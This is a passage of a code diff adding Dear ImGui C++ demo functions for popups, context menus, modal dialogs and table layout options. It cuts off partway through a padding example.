manipulate the visibility state. + // This may be a bit confusing at first but it should quickly make sense. Follow on the examples below. + + if (ImGui::TreeNode("Popups")) + { + ImGui::TextWrapped( + "When a popup is active, it inhibits interacting with windows that are behind the popup. " + "Clicking outside the popup closes it."); + + static int selected_fish = -1; + const char* names[] = { "Bream", "Haddock", "Mackerel", "Pollock", "Tilefish" }; + static bool toggles[] = { true, false, false, false, false }; + + // Simple selection popup (if you want to show the current selection inside the Button itself, + // you may want to build a string using the "###" operator to preserve a constant ID with a variable label) + if (ImGui::Button("Select..")) + ImGui::OpenPopup("my_select_popup"); + ImGui::SameLine(); + ImGui::TextUnformatted(selected_fish == -1 ? "" : names[selected_fish]); + if (ImGui::BeginPopup("my_select_popup")) + { + ImGui::Text("Aquarium"); + ImGui::Separator(); + for (int i = 0; i < IM_ARRAYSIZE(names); i++) + if (ImGui::Selectable(names[i])) + selected_fish = i; + ImGui::EndPopup(); + } + + // Showing a menu with toggles + if (ImGui::Button("Toggle..")) + ImGui::OpenPopup("my_toggle_popup"); + if (ImGui::BeginPopup("my_toggle_popup")) + { + for (int i = 0; i < IM_ARRAYSIZE(names); i++) + ImGui::MenuItem(names[i], "", &toggles[i]); + if (ImGui::BeginMenu("Sub-menu")) + { + ImGui::MenuItem("Click me"); + ImGui::EndMenu(); + } + + ImGui::Separator(); + ImGui::Text("Tooltip here"); + if (ImGui::IsItemHovered()) + ImGui::SetTooltip("I am a tooltip over a popup"); + + if (ImGui::Button("Stacked Popup")) + ImGui::OpenPopup("another popup"); + if (ImGui::BeginPopup("another popup")) + { + for (int i = 0; i < IM_ARRAYSIZE(names); i++) + ImGui::MenuItem(names[i], "", &toggles[i]); + if (ImGui::BeginMenu("Sub-menu")) + { + ImGui::MenuItem("Click me"); + if (ImGui::Button("Stacked Popup")) + ImGui::OpenPopup("another popup"); + if (ImGui::BeginPopup("another popup")) + { + ImGui::Text("I am the last one here."); + ImGui::EndPopup(); + } + ImGui::EndMenu(); + } + ImGui::EndPopup(); + } + ImGui::EndPopup(); + } + + // Call the more complete ShowExampleMenuFile which we use in various places of this demo + if (ImGui::Button("File Menu..")) + ImGui::OpenPopup("my_file_popup"); + if (ImGui::BeginPopup("my_file_popup")) + { + ShowExampleMenuFile(); + ImGui::EndPopup(); + } + + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Context menus")) + { + // BeginPopupContextItem() is a helper to provide common/simple popup behavior of essentially doing: + // if (IsItemHovered() && IsMouseReleased(ImGuiMouseButton_Right)) + // OpenPopup(id); + // return BeginPopup(id); + // For more advanced uses you may want to replicate and customize this code. + // See details in BeginPopupContextItem(). + static float value = 0.5f; + ImGui::Text("Value = %.3f (<-- right-click here)", value); + if (ImGui::BeginPopupContextItem("item context menu")) + { + if (ImGui::Selectable("Set to zero")) value = 0.0f; + if (ImGui::Selectable("Set to PI")) value = 3.1415f; + ImGui::SetNextItemWidth(-1); + ImGui::DragFloat("##Value", &value, 0.1f, 0.0f, 0.0f); + ImGui::EndPopup(); + } + + // We can also use OpenPopupOnItemClick() which is the same as BeginPopupContextItem() but without the + // Begin() call. So here we will make it that clicking on the text field with the right mouse button (1) + // will toggle the visibility of the popup above. + ImGui::Text("(You can also right-click me to open the same popup as above.)"); + ImGui::OpenPopupOnItemClick("item context menu", 1); + + // When used after an item that has an ID (e.g.Button), we can skip providing an ID to BeginPopupContextItem(). + // BeginPopupContextItem() will use the last item ID as the popup ID. + // In addition here, we want to include your editable label inside the button label. + // We use the ### operator to override the ID (read FAQ about ID for details) + static char name[32] = "Label1"; + char buf[64]; + sprintf(buf, "Button: %s###Button", name); // ### operator override ID ignoring the preceding label + ImGui::Button(buf); + if (ImGui::BeginPopupContextItem()) + { + ImGui::Text("Edit name:"); + ImGui::InputText("##edit", name, IM_ARRAYSIZE(name)); + if (ImGui::Button("Close")) + ImGui::CloseCurrentPopup(); + ImGui::EndPopup(); + } + ImGui::SameLine(); ImGui::Text("(<-- right-click here)"); + + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Modals")) + { + ImGui::TextWrapped("Modal windows are like popups but the user cannot close them by clicking outside."); + + if (ImGui::Button("Delete..")) + ImGui::OpenPopup("Delete?"); + + // Always center this window when appearing + ImVec2 center(ImGui::GetIO().DisplaySize.x * 0.5f, ImGui::GetIO().DisplaySize.y * 0.5f); + ImGui::SetNextWindowPos(center, ImGuiCond_Appearing, ImVec2(0.5f, 0.5f)); + + if (ImGui::BeginPopupModal("Delete?", NULL, ImGuiWindowFlags_AlwaysAutoResize)) + { + ImGui::Text("All those beautiful files will be deleted.\nThis operation cannot be undone!\n\n"); + ImGui::Separator(); + + //static int unused_i = 0; + //ImGui::Combo("Combo", &unused_i, "Delete\0Delete harder\0"); + + static bool dont_ask_me_next_time = false; + ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(0, 0)); + ImGui::Checkbox("Don't ask me next time", &dont_ask_me_next_time); + ImGui::PopStyleVar(); + + if (ImGui::Button("OK", ImVec2(120, 0))) { ImGui::CloseCurrentPopup(); } + ImGui::SetItemDefaultFocus(); + ImGui::SameLine(); + if (ImGui::Button("Cancel", ImVec2(120, 0))) { ImGui::CloseCurrentPopup(); } + ImGui::EndPopup(); + } + + if (ImGui::Button("Stacked modals..")) + ImGui::OpenPopup("Stacked 1"); + if (ImGui::BeginPopupModal("Stacked 1", NULL, ImGuiWindowFlags_MenuBar)) + { + if (ImGui::BeginMenuBar()) + { + if (ImGui::BeginMenu("File")) + { + if (ImGui::MenuItem("Some menu item")) {} + ImGui::EndMenu(); + } + ImGui::EndMenuBar(); + } + ImGui::Text("Hello from Stacked The First\nUsing style.Colors[ImGuiCol_ModalWindowDimBg] behind it."); + + // Testing behavior of widgets stacking their own regular popups over the modal. + static int item = 1; + static float color[4] = { 0.4f, 0.7f, 0.0f, 0.5f }; + ImGui::Combo("Combo", &item, "aaaa\0bbbb\0cccc\0dddd\0eeee\0\0"); + ImGui::ColorEdit4("color", color); + + if (ImGui::Button("Add another modal..")) + ImGui::OpenPopup("Stacked 2"); + + // Also demonstrate passing a bool* to BeginPopupModal(), this will create a regular close button which + // will close the popup. Note that the visibility state of popups is owned by imgui, so the input value + // of the bool actually doesn't matter here. + bool unused_open = true; + if (ImGui::BeginPopupModal("Stacked 2", &unused_open)) + { + ImGui::Text("Hello from Stacked The Second!"); + if (ImGui::Button("Close")) + ImGui::CloseCurrentPopup(); + ImGui::EndPopup(); + } + + if (ImGui::Button("Close")) + ImGui::CloseCurrentPopup(); + ImGui::EndPopup(); + } + + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Menus inside a regular window")) + { + ImGui::TextWrapped("Below we are testing adding menu items to a regular window. It's rather unusual but should work!"); + ImGui::Separator(); + + // Note: As a quirk in this very specific example, we want to differentiate the parent of this menu from the + // parent of the various popup menus above. To do so we are encloding the items in a PushID()/PopID() block + // to make them two different menusets. If we don't, opening any popup above and hovering our menu here would + // open it. This is because once a menu is active, we allow to switch to a sibling menu by just hovering on it, + // which is the desired behavior for regular menus. + ImGui::PushID("foo"); + ImGui::MenuItem("Menu item", "CTRL+M"); + if (ImGui::BeginMenu("Menu inside a regular window")) + { + ShowExampleMenuFile(); + ImGui::EndMenu(); + } + ImGui::PopID(); + ImGui::Separator(); + ImGui::TreePop(); + } +} + +// Dummy data structure that we use for the Table demo. +// (pre-C++11 doesn't allow us to instantiate ImVector template if this structure if defined inside the demo function) +namespace +{ +// We are passing our own identifier to TableSetupColumn() to facilitate identifying columns in the sorting code. +// This identifier will be passed down into ImGuiTableSortSpec::ColumnUserID. +// But it is possible to omit the user id parameter of TableSetupColumn() and just use the column index instead! (ImGuiTableSortSpec::ColumnIndex) +// If you don't use sorting, you will generally never care about giving column an ID! +enum MyItemColumnID +{ + MyItemColumnID_ID, + MyItemColumnID_Name, + MyItemColumnID_Action, + MyItemColumnID_Quantity, + MyItemColumnID_Description +}; + +struct MyItem +{ + int ID; + const char* Name; + int Quantity; + + // We have a problem which is affecting _only this demo_ and should not affect your code: + // As we don't rely on std:: or other third-party library to compile dear imgui, we only have reliable access to qsort(), + // however qsort doesn't allow passing user data to comparing function. + // As a workaround, we are storing the sort specs in a static/global for the comparing function to access. + // In your own use case you would probably pass the sort specs to your sorting/comparing functions directly and not use a global. + // We could technically call ImGui::TableGetSortSpecs() in CompareWithSortSpecs(), but considering that this function is called + // very often by the sorting algorithm it would be a little wasteful. + static const ImGuiTableSortSpecs* s_current_sort_specs; + + // Compare function to be used by qsort() + static int IMGUI_CDECL CompareWithSortSpecs(const void* lhs, const void* rhs) + { + const MyItem* a = (const MyItem*)lhs; + const MyItem* b = (const MyItem*)rhs; + for (int n = 0; n < s_current_sort_specs->SpecsCount; n++) + { + // Here we identify columns using the ColumnUserID value that we ourselves passed to TableSetupColumn() + // We could also choose to identify columns based on their index (sort_spec->ColumnIndex), which is simpler! + const ImGuiTableColumnSortSpecs* sort_spec = &s_current_sort_specs->Specs[n]; + int delta = 0; + switch (sort_spec->ColumnUserID) + { + case MyItemColumnID_ID: delta = (a->ID - b->ID); break; + case MyItemColumnID_Name: delta = (strcmp(a->Name, b->Name)); break; + case MyItemColumnID_Quantity: delta = (a->Quantity - b->Quantity); break; + case MyItemColumnID_Description: delta = (strcmp(a->Name, b->Name)); break; + default: IM_ASSERT(0); break; + } + if (delta > 0) + return (sort_spec->SortDirection == ImGuiSortDirection_Ascending) ? +1 : -1; + if (delta < 0) + return (sort_spec->SortDirection == ImGuiSortDirection_Ascending) ? -1 : +1; + } + + // qsort() is instable so always return a way to differenciate items. + // Your own compare function may want to avoid fallback on implicit sort specs e.g. a Name compare if it wasn't already part of the sort specs. + return (a->ID - b->ID); + } +}; +const ImGuiTableSortSpecs* MyItem::s_current_sort_specs = NULL; +} + +// Make the UI compact because there are so many fields +static void PushStyleCompact() +{ + ImGuiStyle& style = ImGui::GetStyle(); + ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(style.FramePadding.x, (float)(int)(style.FramePadding.y * 0.70f))); + ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(style.ItemSpacing.x, (float)(int)(style.ItemSpacing.y * 0.70f))); +} + +static void PopStyleCompact() +{ + ImGui::PopStyleVar(2); +} + +static void EditTableColumnsFlags(ImGuiTableColumnFlags* p_flags) +{ + ImGui::CheckboxFlags("_DefaultHide", p_flags, ImGuiTableColumnFlags_DefaultHide); + ImGui::CheckboxFlags("_DefaultSort", p_flags, ImGuiTableColumnFlags_DefaultSort); + if (ImGui::CheckboxFlags("_WidthStretch", p_flags, ImGuiTableColumnFlags_WidthStretch)) + *p_flags &= ~(ImGuiTableColumnFlags_WidthMask_ ^ ImGuiTableColumnFlags_WidthStretch); + if (ImGui::CheckboxFlags("_WidthFixed", p_flags, ImGuiTableColumnFlags_WidthFixed)) + *p_flags &= ~(ImGuiTableColumnFlags_WidthMask_ ^ ImGuiTableColumnFlags_WidthFixed); + if (ImGui::CheckboxFlags("_WidthAuto", p_flags, ImGuiTableColumnFlags_WidthAuto)) + *p_flags &= ~(ImGuiTableColumnFlags_WidthMask_ ^ ImGuiTableColumnFlags_WidthAuto); + ImGui::CheckboxFlags("_NoResize", p_flags, ImGuiTableColumnFlags_NoResize); + ImGui::CheckboxFlags("_NoReorder", p_flags, ImGuiTableColumnFlags_NoReorder); + ImGui::CheckboxFlags("_NoHide", p_flags, ImGuiTableColumnFlags_NoHide); + ImGui::CheckboxFlags("_NoClip", p_flags, ImGuiTableColumnFlags_NoClip); + ImGui::CheckboxFlags("_NoSort", p_flags, ImGuiTableColumnFlags_NoSort); + ImGui::CheckboxFlags("_NoSortAscending", p_flags, ImGuiTableColumnFlags_NoSortAscending); + ImGui::CheckboxFlags("_NoSortDescending", p_flags, ImGuiTableColumnFlags_NoSortDescending); + ImGui::CheckboxFlags("_NoHeaderWidth", p_flags, ImGuiTableColumnFlags_NoHeaderWidth); + ImGui::CheckboxFlags("_PreferSortAscending", p_flags, ImGuiTableColumnFlags_PreferSortAscending); + ImGui::CheckboxFlags("_PreferSortDescending", p_flags, ImGuiTableColumnFlags_PreferSortDescending); + ImGui::CheckboxFlags("_IndentEnable", p_flags, ImGuiTableColumnFlags_IndentEnable); ImGui::SameLine(); HelpMarker("Default for column 0"); + ImGui::CheckboxFlags("_IndentDisable", p_flags, ImGuiTableColumnFlags_IndentDisable); ImGui::SameLine(); HelpMarker("Default for column >0"); +} + +static void ShowTableColumnsStatusFlags(ImGuiTableColumnFlags flags) +{ + ImGui::CheckboxFlags("_IsEnabled", &flags, ImGuiTableColumnFlags_IsEnabled); + ImGui::CheckboxFlags("_IsVisible", &flags, ImGuiTableColumnFlags_IsVisible); + ImGui::CheckboxFlags("_IsSorted", &flags, ImGuiTableColumnFlags_IsSorted); + ImGui::CheckboxFlags("_IsHovered", &flags, ImGuiTableColumnFlags_IsHovered); +} + +static void ShowDemoWindowTables() +{ + //ImGui::SetNextItemOpen(true, ImGuiCond_Once); + if (!ImGui::CollapsingHeader("Tables & Columns")) + return; + + // Using those as a base value to create width/height that are factor of the size of our font + const float TEXT_BASE_WIDTH = ImGui::CalcTextSize("A").x; + const float TEXT_BASE_HEIGHT = ImGui::GetTextLineHeightWithSpacing(); + + ImGui::PushID("Tables"); + + int open_action = -1; + if (ImGui::Button("Open all")) + open_action = 1; + ImGui::SameLine(); + if (ImGui::Button("Close all")) + open_action = 0; + ImGui::SameLine(); + + // Options + static bool disable_indent = false; + ImGui::Checkbox("Disable tree indentation", &disable_indent); + ImGui::SameLine(); + HelpMarker("Disable the indenting of tree nodes so demo tables can use the full window width."); + ImGui::Separator(); + if (disable_indent) + ImGui::PushStyleVar(ImGuiStyleVar_IndentSpacing, 0.0f); + + // About Styling of tables + // Most settings are configured on a per-table basis via the flags passed to BeginTable() and TableSetupColumns APIs. + // There are however a few settings that a shared and part of the ImGuiStyle structure: + // style.CellPadding // Padding within each cell + // style.Colors[ImGuiCol_TableHeaderBg] // Table header background + // style.Colors[ImGuiCol_TableBorderStrong] // Table outer and header borders + // style.Colors[ImGuiCol_TableBorderLight] // Table inner borders + // style.Colors[ImGuiCol_TableRowBg] // Table row background when ImGuiTableFlags_RowBg is enabled (even rows) + // style.Colors[ImGuiCol_TableRowBgAlt] // Table row background when ImGuiTableFlags_RowBg is enabled (odds rows) + + // Demos + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Basic")) + { + // Here we will showcase three different ways to output a table. + // They are very simple variations of a same thing! + + // [Method 1] Using TableNextRow() to create a new row, and TableSetColumnIndex() to select the column. + // In many situations, this is the most flexible and easy to use pattern. + HelpMarker("Using TableNextRow() + calling TableSetColumnIndex() _before_ each cell, in a loop."); + if (ImGui::BeginTable("##table1", 3)) + { + for (int row = 0; row < 4; row++) + { + ImGui::TableNextRow(); + for (int column = 0; column < 3; column++) + { + ImGui::TableSetColumnIndex(column); + ImGui::Text("Row %d Column %d", row, column); + } + } + ImGui::EndTable(); + } + + // [Method 2] Using TableNextColumn() called multiple times, instead of using a for loop + TableSetColumnIndex(). + // This is generally more convenient when you have code manually submitting the contents of each columns. + HelpMarker("Using TableNextRow() + calling TableNextColumn() _before_ each cell, manually."); + if (ImGui::BeginTable("##table2", 3)) + { + for (int row = 0; row < 4; row++) + { + ImGui::TableNextRow(); + ImGui::TableNextColumn(); + ImGui::Text("Row %d", row); + ImGui::TableNextColumn(); + ImGui::Text("Some contents"); + ImGui::TableNextColumn(); + ImGui::Text("123.456"); + } + ImGui::EndTable(); + } + + // [Method 3] We call TableNextColumn() _before_ each cell. We never call TableNextRow(), + // as TableNextColumn() will automatically wrap around and create new roes as needed. + // This is generally more convenient when your cells all contains the same type of data. + HelpMarker( + "Only using TableNextColumn(), which tends to be convenient for tables where every cells contains the same type of contents.\n" + "This is also more similar to the old NextColumn() function of the Columns API, and provided to facilitate the Columns->Tables API transition."); + if (ImGui::BeginTable("##table3", 3)) + { + for (int item = 0; item < 14; item++) + { + ImGui::TableNextColumn(); + ImGui::Text("Item %d", item); + } + ImGui::EndTable(); + } + + ImGui::TreePop(); + } + + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Borders, background")) + { + // Expose a few Borders related flags interactively + enum ContentsType { CT_Text, CT_FillButton }; + static ImGuiTableFlags flags = ImGuiTableFlags_Borders | ImGuiTableFlags_RowBg; + static bool display_headers = false; + static int contents_type = CT_Text; + + PushStyleCompact(); + ImGui::CheckboxFlags("ImGuiTableFlags_RowBg", &flags, ImGuiTableFlags_RowBg); + ImGui::CheckboxFlags("ImGuiTableFlags_Borders", &flags, ImGuiTableFlags_Borders); + ImGui::SameLine(); HelpMarker("ImGuiTableFlags_Borders\n = ImGuiTableFlags_BordersInnerV\n | ImGuiTableFlags_BordersOuterV\n | ImGuiTableFlags_BordersInnerV\n | ImGuiTableFlags_BordersOuterH"); + ImGui::Indent(); + + ImGui::CheckboxFlags("ImGuiTableFlags_BordersH", &flags, ImGuiTableFlags_BordersH); + ImGui::Indent(); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersOuterH", &flags, ImGuiTableFlags_BordersOuterH); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersInnerH", &flags, ImGuiTableFlags_BordersInnerH); + ImGui::Unindent(); + + ImGui::CheckboxFlags("ImGuiTableFlags_BordersV", &flags, ImGuiTableFlags_BordersV); + ImGui::Indent(); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersOuterV", &flags, ImGuiTableFlags_BordersOuterV); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersInnerV", &flags, ImGuiTableFlags_BordersInnerV); + ImGui::Unindent(); + + ImGui::CheckboxFlags("ImGuiTableFlags_BordersOuter", &flags, ImGuiTableFlags_BordersOuter); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersInner", &flags, ImGuiTableFlags_BordersInner); + ImGui::Unindent(); + ImGui::CheckboxFlags("ImGuiTableFlags_NoBordersInBody", &flags, ImGuiTableFlags_NoBordersInBody); ImGui::SameLine(); HelpMarker("Disable vertical borders in columns Body (borders will always appears in Headers"); + + ImGui::AlignTextToFramePadding(); ImGui::Text("Cell contents:"); + ImGui::SameLine(); ImGui::RadioButton("Text", &contents_type, CT_Text); + ImGui::SameLine(); ImGui::RadioButton("FillButton", &contents_type, CT_FillButton); + ImGui::Checkbox("Display headers", &display_headers); + PopStyleCompact(); + + if (ImGui::BeginTable("##table1", 3, flags)) + { + // Display headers so we can inspect their interaction with borders. + // (Headers are not the main purpose of this section of the demo, so we are not elaborating on them too much. See other sections for details) + if (display_headers) + { + ImGui::TableSetupColumn("One"); + ImGui::TableSetupColumn("Two"); + ImGui::TableSetupColumn("Three"); + ImGui::TableHeadersRow(); + } + + for (int row = 0; row < 5; row++) + { + ImGui::TableNextRow(); + for (int column = 0; column < 3; column++) + { + ImGui::TableSetColumnIndex(column); + char buf[32]; + sprintf(buf, "Hello %d,%d", column, row); + if (contents_type == CT_Text) + ImGui::TextUnformatted(buf); + else if (contents_type) + ImGui::Button(buf, ImVec2(-FLT_MIN, 0.0f)); + } + } + ImGui::EndTable(); + } + ImGui::TreePop(); + } + + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Resizable, stretch")) + { + // By default, if we don't enable ScrollX the sizing policy for each columns is "Stretch" + // Each columns maintain a sizing weight, and they will occupy all available width. + static ImGuiTableFlags flags = ImGuiTableFlags_Resizable | ImGuiTableFlags_BordersOuter | ImGuiTableFlags_BordersV | ImGuiTableFlags_ContextMenuInBody; + PushStyleCompact(); + ImGui::CheckboxFlags("ImGuiTableFlags_Resizable", &flags, ImGuiTableFlags_Resizable); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersV", &flags, ImGuiTableFlags_BordersV); + ImGui::SameLine(); HelpMarker("Using the _Resizable flag automatically enables the _BordersV flag as well."); + PopStyleCompact(); + + if (ImGui::BeginTable("##table1", 3, flags)) + { + for (int row = 0; row < 5; row++) + { + ImGui::TableNextRow(); + for (int column = 0; column < 3; column++) + { + ImGui::TableSetColumnIndex(column); + ImGui::Text("Hello %d,%d", column, row); + } + } + ImGui::EndTable(); + } + ImGui::TreePop(); + } + + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Resizable, fixed")) + { + // Here we use ImGuiTableFlags_SizingPolicyFixed (even though _ScrollX is not set) + // So columns will adopt the "Fixed" policy and will maintain a fixed width regardless of the whole available width (unless table is small) + // If there is not enough available width to fit all columns, they will however be resized down. + // FIXME-TABLE: Providing a stretch-on-init would make sense especially for tables which don't have saved settings + HelpMarker( + "Using _Resizable + _SizingPolicyFixed flags.\n" + "Fixed-width columns generally makes more sense if you want to use horizontal scrolling.\n\n" + "Double-click a column border to auto-fit the column to its contents."); + static ImGuiTableFlags flags = ImGuiTableFlags_Resizable | ImGuiTableFlags_SizingPolicyFixed | ImGuiTableFlags_BordersOuter | ImGuiTableFlags_BordersV | ImGuiTableFlags_ContextMenuInBody; + static bool use_all_width = true; + if (ImGui::RadioButton("fit", use_all_width == false)) { use_all_width = false; } + ImGui::SameLine(); + if (ImGui::RadioButton("right-most edge", use_all_width == true)) { use_all_width = true; } + + if (ImGui::BeginTable("##table1", 3, flags, ImVec2(use_all_width ? -FLT_MIN : 0.0f, 0.0f))) + { + for (int row = 0; row < 5; row++) + { + ImGui::TableNextRow(); + for (int column = 0; column < 3; column++) + { + ImGui::TableSetColumnIndex(column); + ImGui::Text("Hello %d,%d", column, row); + } + } + ImGui::EndTable(); + } + ImGui::TreePop(); + } + + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Resizable, mixed")) + { + HelpMarker("Using columns flag to alter resizing policy on a per-column basis."); + static ImGuiTableFlags flags = ImGuiTableFlags_SizingPolicyFixed | ImGuiTableFlags_RowBg | ImGuiTableFlags_Borders | ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable; + + if (ImGui::BeginTable("##table1", 3, flags)) + { + ImGui::TableSetupColumn("AAA", ImGuiTableColumnFlags_WidthFixed); + ImGui::TableSetupColumn("BBB", ImGuiTableColumnFlags_WidthFixed); + ImGui::TableSetupColumn("CCC", ImGuiTableColumnFlags_WidthStretch); + ImGui::TableHeadersRow(); + for (int row = 0; row < 5; row++) + { + ImGui::TableNextRow(); + for (int column = 0; column < 3; column++) + { + ImGui::TableSetColumnIndex(column); + ImGui::Text("%s %d,%d", (column == 2) ? "Stretch" : "Fixed", column, row); + } + } + ImGui::EndTable(); + } + if (ImGui::BeginTable("##table2", 6, flags)) + { + ImGui::TableSetupColumn("AAA", ImGuiTableColumnFlags_WidthFixed); + ImGui::TableSetupColumn("BBB", ImGuiTableColumnFlags_WidthFixed); + ImGui::TableSetupColumn("CCC", ImGuiTableColumnFlags_WidthFixed | ImGuiTableColumnFlags_DefaultHide); + ImGui::TableSetupColumn("DDD", ImGuiTableColumnFlags_WidthStretch); + ImGui::TableSetupColumn("EEE", ImGuiTableColumnFlags_WidthStretch); + ImGui::TableSetupColumn("FFF", ImGuiTableColumnFlags_WidthStretch | ImGuiTableColumnFlags_DefaultHide); + ImGui::TableHeadersRow(); + for (int row = 0; row < 5; row++) + { + ImGui::TableNextRow(); + for (int column = 0; column < 6; column++) + { + ImGui::TableSetColumnIndex(column); + ImGui::Text("%s %d,%d", (column >= 3) ? "Stretch" : "Fixed", column, row); + } + } + ImGui::EndTable(); + } + ImGui::TreePop(); + } + + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Reorderable, hideable, with headers")) + { + HelpMarker("Click and drag column headers to reorder columns.\n\nYou can also right-click on a header to open a context menu."); + static ImGuiTableFlags flags = ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable | ImGuiTableFlags_BordersOuter | ImGuiTableFlags_BordersV; + PushStyleCompact(); + ImGui::CheckboxFlags("ImGuiTableFlags_Resizable", &flags, ImGuiTableFlags_Resizable); + ImGui::CheckboxFlags("ImGuiTableFlags_Reorderable", &flags, ImGuiTableFlags_Reorderable); + ImGui::CheckboxFlags("ImGuiTableFlags_Hideable", &flags, ImGuiTableFlags_Hideable); + ImGui::CheckboxFlags("ImGuiTableFlags_NoBordersInBody", &flags, ImGuiTableFlags_NoBordersInBody); + ImGui::CheckboxFlags("ImGuiTableFlags_NoBordersInBodyUntilResize", &flags, ImGuiTableFlags_NoBordersInBodyUntilResize); ImGui::SameLine(); HelpMarker("Disable vertical borders in columns Body until hovered for resize (borders will always appears in Headers)"); + PopStyleCompact(); + + if (ImGui::BeginTable("##table1", 3, flags)) + { + // Submit columns name with TableSetupColumn() and call TableHeadersRow() to create a row with a header in each column. + // (Later we will show how TableSetupColumn() has other uses, optional flags, sizing weight etc.) + ImGui::TableSetupColumn("One"); + ImGui::TableSetupColumn("Two"); + ImGui::TableSetupColumn("Three"); + ImGui::TableHeadersRow(); + for (int row = 0; row < 6; row++) + { + ImGui::TableNextRow(); + for (int column = 0; column < 3; column++) + { + ImGui::TableSetColumnIndex(column); + ImGui::Text("Hello %d,%d", column, row); + } + } + ImGui::EndTable(); + } + + // Use outer_size.x == 0.0f instead of default to make the table as tight as possible (only valid when no scrolling and no stretch column) + if (ImGui::BeginTable("##table2", 3, flags | ImGuiTableFlags_SizingPolicyFixed, ImVec2(0.0f, 0.0f))) + { + ImGui::TableSetupColumn("One"); + ImGui::TableSetupColumn("Two"); + ImGui::TableSetupColumn("Three"); + ImGui::TableHeadersRow(); + for (int row = 0; row < 6; row++) + { + ImGui::TableNextRow(); + for (int column = 0; column < 3; column++) + { + ImGui::TableSetColumnIndex(column); + ImGui::Text("Fixed %d,%d", column, row); + } + } + ImGui::EndTable(); + } + ImGui::TreePop(); + } + + if (open_action != -1) + ImGui::SetNextItemOpen(open_action != 0); + if (ImGui::TreeNode("Padding")) + { + // First example: showcase use of padding flags and effect of BorderOuterV/BorderInnerV on X padding. + // We don't expose BorderOuterH/BorderInnerH here because they have no effect on X padding. + HelpMarker( + "We often want outer padding activated when any using features which makes the edges of a column visible:\n" + "e.g.:\n" + "- BorderOuterV\n" + "- any form of row selection\n" + "Because of this, activating BorderOuterV sets the default to PadOuterX. Using PadOuterX or NoPadOuterX you can override the default.\n\n" + "Actual padding values are using style.CellPadding."); + + static ImGuiTableFlags flags1 = ImGuiTableFlags_BordersV; + PushStyleCompact(); + ImGui::CheckboxFlags("ImGuiTableFlags_PadOuterX", &flags1, ImGuiTableFlags_PadOuterX); + ImGui::SameLine(); HelpMarker("Enable outer-most padding (default if ImGuiTableFlags_BordersOuterV is set)"); + ImGui::CheckboxFlags("ImGuiTableFlags_NoPadOuterX", &flags1, ImGuiTableFlags_NoPadOuterX); + ImGui::SameLine(); HelpMarker("Disable outer-most padding (default if ImGuiTableFlags_BordersOuterV is not set)"); + ImGui::CheckboxFlags("ImGuiTableFlags_NoPadInnerX", &flags1, ImGuiTableFlags_NoPadInnerX); + ImGui::SameLine(); HelpMarker("Disable inner padding between columns (double inner padding if BordersOuterV is on, single inner padding if BordersOuterV is off)"); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersOuterV", &flags1, ImGuiTableFlags_BordersOuterV); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersInnerV", &flags1, ImGuiTableFlags_BordersInnerV); + static bool show_headers = false; + ImGui::Checkbox("show_headers", &show_headers); + PopStyleCompact(); + + if (ImGui::BeginTable("##table1", 3, flags1)) + { + if (show_headers) + { + ImGui::TableSetupColumn("One"); + ImGui::TableSetupColumn("Two"); + ImGui::TableSetupColumn("Three"); + ImGui::TableHeadersRow(); + } + + for (int row = 0; row < 5; row++) + { + ImGui::TableNextRow(); + for (int column = 0; column < 3; column++) + { + ImGui::TableSetColumnIndex(column); + if (row == 0) + { + ImGui::Text("Avail %.2f", ImGui::GetContentRegionAvail().x); + } + else + { + char buf[32]; + sprintf(buf, "Hello %d,%d", column, row); + ImGui::Button(buf, ImVec2(-FLT_MIN, 0.0f)); + } + //if (ImGui::TableGetColumnFlags() & ImGuiTableColumnFlags_IsHovered) + // ImGui::TableSetBgColor(ImGuiTableBgTarget_CellBg, IM_COL32(0, 100, 0, 255)); + } + } + ImGui::EndTable(); + } + + // Second example: set style.CellPadding to (0.0) or a custom value. + // FIXME-TABLE: Vertical border effectively not displayed the same way as horizontal one... + HelpMarker("Setting style.CellPadding to (0,0) or a custom value."); + static ImGuiTableFlags flags2 = ImGuiTableFlags_Borders | ImGuiTableFlags_RowBg; + static ImVec2 cell_padding(0.0f, 0.0f); + static bool show_widget_frame_bg = false; + + PushStyleCompact(); + ImGui::CheckboxFlags("ImGuiTableFlags_Borders", &flags2, ImGuiTableFlags_Borders); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersH", &flags2, ImGuiTableFlags_BordersH); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersV", &flags2, ImGuiTableFlags_BordersV); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersInner", &flags2, ImGuiTableFlags_BordersInner); + ImGui::CheckboxFlags("ImGuiTableFlags_BordersOuter", &flags2, ImGuiTableFlags_BordersOuter); + ImGui::CheckboxFlags("ImGuiTableFlags_RowBg", &flags2, ImGuiTableFlags_RowBg); + ImGui::CheckboxFlags("ImGuiTableFlags_Resizable", &flags2, ImGuiTableFlags_Resizable); + ImGui::Checkbox("show_widget_frame_bg", &show_widget_frame_bg); + ImGui::SliderFloat2("CellPadding", &cell_padding.x, 0.0f, 10.0f, "%.0f"); + PopStyleCompact(); + + ImGui::PushStyleVar(ImGuiStyleVar_CellPadding, cell_padding); + if (ImGui::BeginTable("##table2", 3, 